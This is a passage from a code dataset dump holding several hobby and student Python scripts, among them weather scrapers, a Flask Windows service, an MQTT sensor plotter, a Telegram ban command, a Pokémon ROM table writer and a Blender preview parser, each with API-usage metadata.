Thu Apr 22 13:06:23 2021\n\n@author: Sassan Mokhtar\n\"\"\"\n\nimport numpy as np\nfrom scipy.io import loadmat\nimport matplotlib.pyplot as plt\n#==========================================================\n# Vectors and Matrices in Python \n#==========================================================\n\n# Define a vector and a matrix\nvec = np.array(np.random.random([3, 1]))\nmat = np.array(np.random.random([3, 3]))\n\nprint(\"The randomly chosen 3*3 matrix is: \\n\", mat)\nprint(\"And the randomly chosen 3*1 vector is: \\n\", vec)\n\n# Compute matrix-vector Multiplication\nmult = mat.dot(vec)\nprint(\"The matrix-vector Multiplication is: \\n\", mult)\n\n# Invert the matrix\ninv = np.linalg.inv(mat)\nprint(\"The inverse of the matrix is: \\n\", inv)\n\n#==========================================================\n# Loading and ploting 2 datasets \n#==========================================================\n# Loading the files\nfile = loadmat('Gaussian.mat')\ngaussian = file[\"gaussian\"]\nfile2 = loadmat('GaussianPlus.mat')\ngaussian_plus = file2[\"gaussianplus\"]\n\n# Plotting two datasets\n\nXval1 = gaussian[:, 0] \nYval1 = gaussian[:, 1]\nXval2 = gaussian_plus[:, 0]\nYval2 = gaussian_plus[:, 1]\n\nplt.subplot(1, 2, 1)\nplt.plot(Xval1, Yval1, \"o\", color='black')\nplt.title('Gaussian')\nplt.xlabel('X')\nplt.ylabel('Y')\n\nplt.subplot(1, 2, 2)\nplt.plot(Xval2, Yval2, \"o\", color='red')\nplt.title('Gaussian Plus')\nplt.xlabel('X')\nplt.style.use(\"fivethirtyeight\")\nplt.tight_layout(pad=.02)\nplt.show()\n\n\n\n", "repo_name": "Sassanmtr/Statistical-Pattern-Recognition", "sub_path": "1. Introduction/ps1.py", "file_name": "ps1.py", "file_ext": "py", "file_size_in_byte": 1494, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "numpy.array", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.random.random", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 16, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.random.random", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.linalg.inv", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 27, "usage_type": "attribute"}, {"api_name": "scipy.io.loadmat", "line_number": 34, "usage_type": "call"}, {"api_name": "scipy.io.loadmat", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.style.use", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 56, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}]} {"seq_id": "29022446766", "text": "from selenium import webdriver\r\n\r\ndef Taoyuan():\r\n target_url = 'https://www.cwb.gov.tw/V7/forecast/taiwan/Taoyuan_City.htm'\r\n driver = webdriver.PhantomJS(executable_path=r'C:\\Users\\lltin\\.PyCharm2019.1\\phantomjs.exe')#導入PhantomJS路徑\r\n driver.get(target_url)\r\n text = driver.find_element_by_xpath('//*[@id=\"ftext\"]').text\r\n t = text.splitlines()\r\n return t[2]\r\n\r\nprint(Taoyuan())\r\n", "repo_name": "chieh89/fetch-weather", "sub_path": "weather.py", "file_name": "weather.py", "file_ext": "py", "file_size_in_byte": 407, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "selenium.webdriver.PhantomJS", "line_number": 5, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 5, "usage_type": "name"}]} {"seq_id": "39590795105", "text": "import win32serviceutil\nimport win32service\nimport win32event\nimport servicemanager\nimport socket\n\nimport sys\nimport os\n\nfrom flask import Flask, render_template, request\n\n\nclass FlaskService(win32serviceutil.ServiceFramework):\n _svc_name_ = 'FlaskService'\n _svc_display_name_ = 'Flask Service'\n\n def __init__(self, args):\n win32serviceutil.ServiceFramework.__init__(self, args)\n self.is_running = False\n self.is_stopping = False\n self.app = Flask(__name__)\n\n def SvcStop(self):\n self.is_stopping = True\n self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)\n sys.exit()\n\n def SvcDoRun(self):\n servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE,\n servicemanager.PYS_SERVICE_STARTED,\n (self._svc_name_, ''))\n self.is_running = True\n self.start_flask_app()\n\n def start_flask_app(self):\n @self.app.route('/')\n def home():\n return render_template('index.html')\n\n @self.app.route('/count', methods=['POST'])\n def count():\n # Get the form data\n count_with_spaces = request.form.get('count_with_spaces')\n word = request.form.get('word')\n\n # Count the word with or without spaces\n if count_with_spaces != \"yes\":\n # Remove spaces and tabs\n word = word.replace(\" \", \"\").replace(\"\\t\", \"\")\n total_alphabets = len(word)\n\n # Render the result template with the output\n return render_template('result.html', total_alphabets=total_alphabets)\n\n # Set the host and port to match your Flask app configuration\n host = '127.0.0.1'\n port = 5000\n\n self.app.run(host=host, port=port)\n\n\nif __name__ == '__main__':\n if len(sys.argv) == 1:\n servicemanager.Initialize()\n servicemanager.PrepareToHostSingle(FlaskService)\n servicemanager.StartServiceCtrlDispatcher()\n else:\n win32serviceutil.HandleCommandLine(FlaskService)\n", "repo_name": "zhixe/Python-Script", "sub_path": "projects/words_count/flask_service.py", "file_name": "flask_service.py", "file_ext": "py", "file_size_in_byte": 2077, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "win32serviceutil.ServiceFramework", "line_number": 13, "usage_type": "attribute"}, {"api_name": "win32serviceutil.ServiceFramework.__init__", "line_number": 18, "usage_type": "call"}, {"api_name": "win32serviceutil.ServiceFramework", "line_number": 18, "usage_type": "attribute"}, {"api_name": "flask.Flask", "line_number": 21, "usage_type": "call"}, {"api_name": "win32service.SERVICE_STOP_PENDING", "line_number": 25, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 26, "usage_type": "call"}, {"api_name": "servicemanager.LogMsg", "line_number": 29, "usage_type": "call"}, {"api_name": "servicemanager.EVENTLOG_INFORMATION_TYPE", "line_number": 29, "usage_type": "attribute"}, {"api_name": "servicemanager.PYS_SERVICE_STARTED", "line_number": 30, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.request.form.get", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 43, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 43, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 44, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 44, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 44, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 53, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 63, "usage_type": "attribute"}, {"api_name": "servicemanager.Initialize", "line_number": 64, "usage_type": "call"}, {"api_name": "servicemanager.PrepareToHostSingle", "line_number": 65, "usage_type": "call"}, {"api_name": "servicemanager.StartServiceCtrlDispatcher", "line_number": 66, "usage_type": "call"}, {"api_name": "win32serviceutil.HandleCommandLine", "line_number": 68, "usage_type": "call"}]} {"seq_id": "1873855803", "text": "#Mini-project for to see the wheater from the region you live.\n#First, import this libs\n\n#for the window\nimport tkinter as tk\n#for the wheater\nimport requests as rq\nfrom bs4 import BeautifulSoup\n\n#Search -> 'Wheater in [your region]' -> search on google\nsearch = 'Weather in São Bernardo do Campo'\nurl = f'https://www.google.com/search?&q={search}'\n\n#climate search process \nr = rq.get(url)\n#get the wheater for the html of page\ns = BeautifulSoup(r.text,'html.parser')\nupdate = s.find('div',class_='BNeawe').text\n\n#make a window for show it\nclass MinhaGUI:\n def __init__(self):\n self.main_window = tk.Tk()\n self.main_window.minsize(60,80)\n self.main_window.title('Wheater Today!')\n self.label1 = tk.Label(self.main_window,text= ' Olá Jhonatas, essa é previsão do tempo hoje! ')\n self.label2 = tk.Label(self.main_window,text= update)\n self.label1.pack()\n self.label2.pack()\n tk.mainloop()\n \nminha_gui = MinhaGUI()\n", "repo_name": "JhonatasMenezes/JhonatasMenezes", "sub_path": "Personal Projects/PYTHON/Atualização do tempo.py", "file_name": "Atualização do tempo.py", "file_ext": "py", "file_size_in_byte": 987, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.get", "line_number": 15, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 17, "usage_type": "call"}, {"api_name": "tkinter.Tk", "line_number": 23, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 26, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 27, "usage_type": "call"}, {"api_name": "tkinter.mainloop", "line_number": 30, "usage_type": "call"}]} {"seq_id": "19611091726", "text": "from datetime import date\n\nfrom django.core.exceptions import ValidationError\n\nfrom legal.common.forms import Form\nfrom legal.common.fields import CharField, AmountField, CurrencyField, DateField, ChoiceField\nfrom legal.common.widgets import TextWidget, DateWidget, RadioWidget\n\n\nOPTS = (\n ('none', 'sine'),\n ('epr', 'elektronický platební rozkaz'),\n ('nmu', 'nemajetková újma'),\n ('vyz', 'výživné'),\n ('vyk', 'výkon rozhodnutí'),\n ('sm', 'smír'),\n ('inc', 'incidence'),\n ('usch', 'úschova'),\n)\n\n\nclass MainForm(Form):\n\n basis = AmountField(\n widget=TextWidget(15),\n min_value=1,\n label='Základ',\n localize=True)\n basis.rounding = 2\n\n curr = CurrencyField(\n label='Měna',\n czk=True,\n initial='CZK')\n\n today = date.today()\n fx_date = DateField(\n widget=DateWidget(),\n required=False,\n label='ke dni',\n initial=date(today.year, today.month, 1))\n\n model = CharField(\n label='Úprava',\n initial='4')\n\n opt = ChoiceField(\n widget=RadioWidget(),\n choices=OPTS,\n label='Zvláštní případy',\n initial='none')\n\n def clean_fx_date(self):\n data = self.cleaned_data['fx_date']\n if self.data['curr_0'] != 'CZK' and not data:\n raise ValidationError('Date is required')\n return data\n", "repo_name": "tompecina/legal", "sub_path": "legal/sop/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 1383, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "71", "api": [{"api_name": "legal.common.forms.Form", "line_number": 22, "usage_type": "name"}, {"api_name": "legal.common.fields.AmountField", "line_number": 24, "usage_type": "call"}, {"api_name": "legal.common.widgets.TextWidget", "line_number": 25, "usage_type": "call"}, {"api_name": "legal.common.fields.CurrencyField", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 36, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 36, "usage_type": "name"}, {"api_name": "legal.common.fields.DateField", "line_number": 37, "usage_type": "call"}, {"api_name": "legal.common.widgets.DateWidget", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 41, "usage_type": "call"}, {"api_name": "legal.common.fields.CharField", "line_number": 43, "usage_type": "call"}, {"api_name": "legal.common.fields.ChoiceField", "line_number": 47, "usage_type": "call"}, {"api_name": "legal.common.widgets.RadioWidget", "line_number": 48, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 56, "usage_type": "call"}]} {"seq_id": "6070505970", "text": "import random\nimport datetime\nimport time\n\nimport matplotlib.animation as animation\nimport matplotlib.pyplot as plt\n\nfrom paho.mqtt import client as mqtt_client\nfrom threading import Thread\nimport sqlite3\n\nconn = sqlite3.connect('SENSEHAT.db')\n\"\"\"\n#ID == UNIX TIME/DATE\nconn.execute('''CREATE TABLE SENSEHAT\n (ID INT PRIMARY KEY NOT NULL,\n TEMPERATURE REAL NOT NULL,\n PRESSURE REAL NOT NULL,\n HUMIDITY REAL NOT NULL);''')\nprint(\"Table created successfully\")\n\"\"\"\n\nreadings = '0,0,0'\nbroker = 'broker.emqx.io'\nport = 1883\ntopic = \"sensehat/iot/readings\"\n\nclient_id = f'iot-mqtt-{random.randint(0, 1000)}'\nusername = 'emqx'\npassword = 'public'\n\ndef save_temp(temp, pressure, humidity):\n conn.execute(f\"INSERT INTO SENSEHAT (ID,TEMPERATURE, PRESSURE, HUMIDITY) \\\n VALUES ({time.time()}, {temp}, {pressure}, {humidity})\");\n conn.commit()\n \ndef connect_mqtt() -> mqtt_client:\n def on_connect(client, userdata, flags, rc):\n if rc == 0:\n print(\"Connected to MQTT Broker!\")\n else:\n print(\"Failed to connect, return code %d\\n\", rc)\n\n client = mqtt_client.Client(client_id)\n client.username_pw_set(username, password)\n client.on_connect = on_connect\n client.connect(broker, port)\n return client\n\n\ndef subscribe(client: mqtt_client):\n def on_message(client, userdata, msg):\n global readings\n readings = msg.payload.decode()\n data = readings.split(',')\n #save_temp(float(data[0]), float(data[1]), float(data[2]))\n client.subscribe(topic)\n client.on_message = on_message\n\ndef animate(frame, tx, ty, hx, hy, px, py):\n\n cur_time = datetime.datetime.now().strftime('%H:%M:%S')\n size_limit = 20\n values = [float(value) for value in readings.split(',')]\n #print('readings', values[0], values[1], values[2])\n tx.append(cur_time)\n ty.append(values[0])\n tx = tx[-size_limit:]\n ty = ty[-size_limit:]\n \n hx.append(cur_time)\n hy.append(values[2])\n hx = hx[-size_limit:]\n hy = hy[-size_limit:]\n \n px.append(cur_time)\n py.append(values[1])\n px = px[-size_limit:]\n py = py[-size_limit:]\n\n ax[0, 1].clear()\n ax[0, 1].set_title('Temperature')\n ax[0, 1].plot(tx, ty)\n \n ax[1, 0].clear() \n ax[1, 0].set_title('Humidity')\n ax[1, 0].plot(hx, hy)\n \n ax[1, 1].clear() \n ax[1, 1].set_title('Pressure')\n ax[1, 1].plot(px, py)\n fig.tight_layout()\n \ndef thread1():\n client = connect_mqtt()\n subscribe(client)\n client.loop_forever()\n \ndef thread2():\n\n global ax, fig\n fig, ax = plt.subplots(2,2)\n ax[0, 0].axis([0,10,0,10])\n ax[0, 0].text(5, 7, '3805515 IoT Project', verticalalignment='center', horizontalalignment='center',fontsize=20, fontweight='bold', color='red')\n ax[0, 0].text(5, 5, 'Graphical presentaion of\\nLive data readings', verticalalignment='center', horizontalalignment='center', color='green', fontsize=15)\n ax[0, 0].set_xticklabels(())\n ax[0, 0].set_yticklabels(())\n ax[0, 1].tick_params('x', labelrotation=45)\n ax[1, 1].tick_params('x', labelrotation=45)\n ax[1, 0].tick_params('x', labelrotation=45)\n tx_data, ty_data = [], []\n hy_data, hx_data = [], []\n py_data, px_data = [], []\n ani = animation.FuncAnimation(fig, animate, fargs=(tx_data, ty_data, hx_data, hy_data, px_data, py_data), interval=1000)\n \n plt.show()\n\nif __name__ == '__main__':\n\n thread1 = Thread( target=thread1, args=() )\n thread2 = Thread( target=thread2, args=() )\n thread2.start()\n thread1.start()\n \n thread1.join()\n thread2.join()", "repo_name": "TakudzwaMzembegwa/LiveWeather", "sub_path": "mqtt_subscriber_server.py", "file_name": "mqtt_subscriber_server.py", "file_ext": "py", "file_size_in_byte": 3632, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "sqlite3.connect", "line_number": 12, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 28, "usage_type": "call"}, {"api_name": "time.time", "line_number": 34, "usage_type": "call"}, {"api_name": "paho.mqtt.client.Client", "line_number": 44, "usage_type": "call"}, {"api_name": "paho.mqtt.client", "line_number": 44, "usage_type": "name"}, {"api_name": "paho.mqtt.client", "line_number": 37, "usage_type": "name"}, {"api_name": "paho.mqtt.client", "line_number": 51, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 62, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 62, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.animation.FuncAnimation", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.animation", "line_number": 114, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 120, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 121, "usage_type": "call"}]} {"seq_id": "72182679906", "text": "import time\n\nfrom aiogram.types import ChatPermissions\n\n\nasync def ban_command(message, bot):\n if message.chat.type == \"private\":\n await message.reply(text=\"Команда для бана участников(доступно только админам паблика). Работает так:\\n\"\n \"Чтобы забанить игрока ответи на его сообщение камандой /ban его сообщение. Там может быть 2 параметра:\\n\"\n \"Продолжительности бана в секундах, не меньше 35 по умолчанию - 35\\n\"\n \"Сообщение которое увидет получатель бана - по умолчанию 'Вы были забанены админом!\\n'\"\n \"Параметры можно не прописывать и просто написать /ban но если они есть то должны прописываться строго через пробел!\")\n with open(f'K:/shool_project/shool_project/ban.png', 'rb') as photo:\n await bot.send_photo(message.from_user.id, photo=photo)\n return\n\n chat_admins = await bot.get_chat_administrators(chat_id=message.chat.id)\n admins_userId = [admins.user.id for admins in chat_admins]\n if message.from_user.id not in admins_userId:\n await message.reply(text=\"Этой командой могут пользоваться только админы!\")\n return\n if message.reply_to_message.from_user.id in admins_userId:\n await bot.send_message(message.chat.id,\n text=\"Вы пытаетесь забанить админа!\",\n reply_to_message_id=message.reply_to_message.message_id)\n return\n # await message.reply\n duration = 35\n message_text = \"Вы были забанены админом!\"\n message_box = message.text.split(\" \")\n if len(message_box) == 2:\n duration = int(message_box[1])\n elif len(message_box) > 2:\n message_text = \" \".join(message_box[2:])\n\n await bot.restrict_chat_member(message.chat.id, message.reply_to_message.from_user.id,\n ChatPermissions(can_send_messages=False),\n until_date=time.time() + duration)\n await bot.send_message(message.chat.id,\n text=message_text,\n reply_to_message_id=message.reply_to_message.message_id)\n", "repo_name": "HarveyCR/shool_project", "sub_path": "handlers/ban.py", "file_name": "ban.py", "file_ext": "py", "file_size_in_byte": 2630, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "aiogram.types.ChatPermissions", "line_number": 37, "usage_type": "call"}, {"api_name": "time.time", "line_number": 38, "usage_type": "call"}]} {"seq_id": "39832663765", "text": "import ndspy\nimport ndspy.rom, ndspy.bmg, ndspy.codeCompression\nimport ndspy.narc\nimport code \nimport io\nimport os\nimport json\nimport copy\nimport sys\nimport re\n\n# code.interact(local=dict(globals(), **locals()))\n\n######################### CONSTANTS #############################\n\n\ndef set_global_vars(rom_name):\n\tglobal ROM_NAME, NARC_FORMAT, BASE_ROM, MOVES, EFFECT_TABLE_OFFSET\n\t\n\twith open(f'{rom_name}/session_settings.json', \"r\") as outfile: \n\t\tsettings = json.load(outfile) \n\t\tROM_NAME = settings['rom_name']\n\t\tBASE_ROM = settings['base_rom']\n\t\tBASE_VERSION = settings[\"base_version\"]\n\n\tMOVES = open(f'{ROM_NAME}/texts/moves.txt', mode=\"r\").read().splitlines()\n\n\tNARC_FORMAT = []\n\n\tB2_EFFECT_TABLE_OFFSET = 0X000407F4\n\tW2_EFFECT_TABLE_OFFSET = 0X000407F4\n\n\tif BASE_VERSION == \"B2\":\n\t\tEFFECT_TABLE_OFFSET = B2_EFFECT_TABLE_OFFSET\n\telse:\n\t\tEFFECT_TABLE_OFFSET = W2_EFFECT_TABLE_OFFSET\n\n\tfor n in range(258):\n\t\tNARC_FORMAT.append([4, f'move_id_{n}'])\n\t\tNARC_FORMAT.append([4, f'address_{n}'])\n\n\n\n#################################################################\n\n\ndef output_move_effects_table(rom_name):\n\tset_global_vars(rom_name)\n\tjson_file_path = f'{rom_name}/json/arm9/move_effects_table.json'\n\t\n\n\tmove_effects_table_file_path = f'{rom_name}/move_effects_table.bin'\t\t\n\tstream = bytearray() \n\n\twith open(json_file_path, \"r\") as outfile: \t\n\t\tjson_data = json.load(outfile)\t\n\t\t#USE THE FORMAT LIST TO PARSE BYTES\n\t\tfor entry in NARC_FORMAT: \n\t\t\tif entry[1] in json_data[\"raw\"]:\n\t\t\t\tdata = json_data[\"raw\"][entry[1]]\n\t\t\t\twrite_bytes(stream, entry[0], data)\n\n\tstream\n\topen(move_effects_table_file_path, \"wb\").write(stream) \n\n\toverlay167_edited = bytearray(open(f'{rom_name}/overlay167.bin','rb').read())\n\toverlay167_edited[EFFECT_TABLE_OFFSET:EFFECT_TABLE_OFFSET + 2064] = stream\n\n\topen(f'{rom_name}/overlay167.bin', \"wb\").write(overlay167_edited) \n\n\n\n\n\n\tprint(\"move_effects_table\")\n\ndef write_bytes(stream, n, data):\n\tstream += (int(data).to_bytes(n, 'little'))\t\t\n\treturn stream\n\n\ndef write_readable_to_raw(rom_name):\n\tdata = {}\n\tjson_file_path = f'{rom_name}/json/arm9/move_effects_table.json'\n\n\twith open(json_file_path, \"r\", encoding='ISO8859-1') as outfile: \t\n\t\tnarc_data = json.load(outfile)\t\n\t\t\n\t\tif narc_data[\"readable\"] is None:\n\t\t\treturn\n\t\tnew_raw_data = to_raw(narc_data[\"readable\"])\n\t\tnarc_data[\"raw\"] = new_raw_data\n\n\twith open(json_file_path, \"w\", encoding='ISO8859-1') as outfile: \n\t\tjson.dump(narc_data, outfile)\n\ndef to_raw(readable):\n\traw = copy.deepcopy(readable)\t\n\n\tfor n in range(258):\n\t\traw[f'move_id_{n}'] = MOVES.index(readable[f'move_id_{n}'])\n\t\t\n\n\treturn raw\n\ndef write_bytes(stream, n, data):\n\tstream += (int(data).to_bytes(n, 'little'))\t\t\n\treturn stream\n\n\n\n################ If run with arguments #############\n\nif len(sys.argv) > 2 and sys.argv[1] == \"update\":\n\tset_global_vars(sys.argv[3])\n\twrite_readable_to_raw(sys.argv[3])\n\toutput_move_effects_table(sys.argv[3])\n\t\n\n", "repo_name": "hzla/Pokeweb-Live", "sub_path": "python/move_effects_table_writer.py", "file_name": "move_effects_table_writer.py", "file_ext": "py", "file_size_in_byte": 2903, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "70", "api": [{"api_name": "json.load", "line_number": 21, "usage_type": "call"}, {"api_name": "json.load", "line_number": 56, "usage_type": "call"}, {"api_name": "json.load", "line_number": 87, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 95, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 98, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 114, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 115, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 116, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 117, "usage_type": "attribute"}]} {"seq_id": "36597701967", "text": "import requests\nfrom selenium import webdriver\nimport smtplib\nimport csv\nfrom email.message import EmailMessage\n\ndriver = webdriver.Chrome(executable_path=r\"driver-path\")\n\nlink = \"https://summerofcode.withgoogle.com/archive/2020/organizations/\"\n\ndriver.get(link)\norgs = driver.find_elements_by_class_name(\"organization-card__name\")\norgs = [x.text for x in orgs]\nlinks = driver.find_elements_by_class_name(\"organization-card__link\")\nlinks = [x.get_attribute('href') for x in links]\nun = list(zip(orgs, links))\nun = [list(x) for x in un]\nfor item in un:\n driver.get(item[1])\n techstack = driver.find_elements_by_class_name(\"organization__tag--technology\")\n techstack = [x.text for x in techstack]\n item.append(techstack)\ntechstack = set()\nfor item in un:\n [techstack.add(x) for x in item[2]]\n\nprint(techstack)\nmsg = \"placeholder\"\nknow = list()\nwhile msg!=\"exit\":\n msg = input(\"Enter What you know from the above tech stack\")\n know.append(msg)\n\nwith open('data.csv','w', newline='') as csvfile:\n csv_writer = csv.writer(csvfile)\n for item in know:\n for orgs in un:\n if item in orgs[2]:\n csv_writer.writerow(orgs)\n\nmsg = EmailMessage()\nmsg['Subject'] = 'Your GSOC matched orgs'\nmsg['From'] = 'sender-email'\nmsg['To'] = 'receiver-email'\nmsg.set_content('Here are your matched orgs based on the tech stack you entered')\n\nwith open('data.csv', 'rb') as f:\n file_data = f.read()\n file_name = f.name\n\nmsg.add_attachment(file_data, maintype='application', subtype='octet-stream', filename=file_name)\n\nwith smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:\n smtp.login('sender-email', 'password')\n smtp.send_message(msg)\ndriver.quit()", "repo_name": "adit19shah/E-Commerce-Price-Tracker", "sub_path": "Mid-evaluation Script/scrape.py", "file_name": "scrape.py", "file_ext": "py", "file_size_in_byte": 1694, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 7, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 7, "usage_type": "name"}, {"api_name": "csv.writer", "line_number": 35, "usage_type": "call"}, {"api_name": "email.message.EmailMessage", "line_number": 41, "usage_type": "call"}, {"api_name": "smtplib.SMTP_SSL", "line_number": 53, "usage_type": "call"}]} {"seq_id": "8637454764", "text": "import bpy, os\n\nfrom . preferences import PreferencesPanel\nfrom . utils import parse_entry_list, split_entry, ASSET_TYPE_OBJECT\n\nclass CollectionImageParser:\n \"\"\"\n Parser for PreviewHelper. Parses all supported objects and creates\n the collection using the preview images.\n data = [asset_type, category]\n \"\"\"\n \n def parse(self, lst):\n \"\"\"\n Parses the directory for supported files and create list from \n preview images.\n \"\"\"\n asset_type, category = lst.data\n fp = os.path.join(PreferencesPanel.get().root, asset_type, category)\n print(\"Parse collection: \", fp)\n\n id = 0\n noIcon = os.path.join(os.path.dirname(__file__), \"data\", \"No_Icon.png\")\n for entry in parse_entry_list(asset_type, category):\n if not lst.collection: # lazy init\n lst.collection = bpy.utils.previews.new()\n\n imp, preview, label, mat = split_entry(entry)\n if os.path.exists(preview):\n thumb = lst.collection.load(entry, preview, 'IMAGE')\n else:\n thumb = lst.collection.load(entry, noIcon, 'IMAGE')\n lst.items.append((entry, label, label, thumb.icon_id, id))\n id += 1\n\n\nclass NodesParser:\n \"\"\"\n Parses nodes from specific blend file, load previews from respective\n data folder.\n data = blend basename/folder name.\n \"\"\"\n\n def parse(self, lst):\n \"\"\"\n Parse node elements.\n \"\"\"\n id = 0\n data = os.path.join(os.path.dirname(__file__), \"data\")\n noIcon = os.path.join(data, \"No_Icon.png\")\n blend = os.path.join(data, lst.data + \".blend\")\n previews = os.path.join(data, lst.data)\n with bpy.data.libraries.load(blend, link=False) as (data_src, data_dst):\n for group in data_src.node_groups:\n if group.startswith(\"NW_\"):\n preview = os.path.join(previews, group + \".png\")\n if not lst.collection: # lazy init\n lst.collection = bpy.utils.previews.new()\n if os.path.exists(preview):\n thumb = lst.collection.load(group, preview, 'IMAGE')\n else:\n thumb = lst.collection.load(group, noIcon, 'IMAGE')\n lst.items.append((\"%s::%s\" % (blend, group), group, \"\", thumb.icon_id, id))\n id += 1\n\n\n", "repo_name": "black-h0bB1T/object_asset_wizard", "sub_path": "preview_parsers.py", "file_name": "preview_parsers.py", "file_ext": "py", "file_size_in_byte": 2453, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 45, "dataset": "github-code", "pt": "70", "api": [{"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "preferences.PreferencesPanel.get", "line_number": 19, "usage_type": "call"}, {"api_name": "preferences.PreferencesPanel", "line_number": 19, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 23, "usage_type": "call"}, {"api_name": "utils.parse_entry_list", "line_number": 24, "usage_type": "call"}, {"api_name": "bpy.utils.previews.new", "line_number": 26, "usage_type": "call"}, {"api_name": "bpy.utils", "line_number": 26, "usage_type": "attribute"}, {"api_name": "utils.split_entry", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 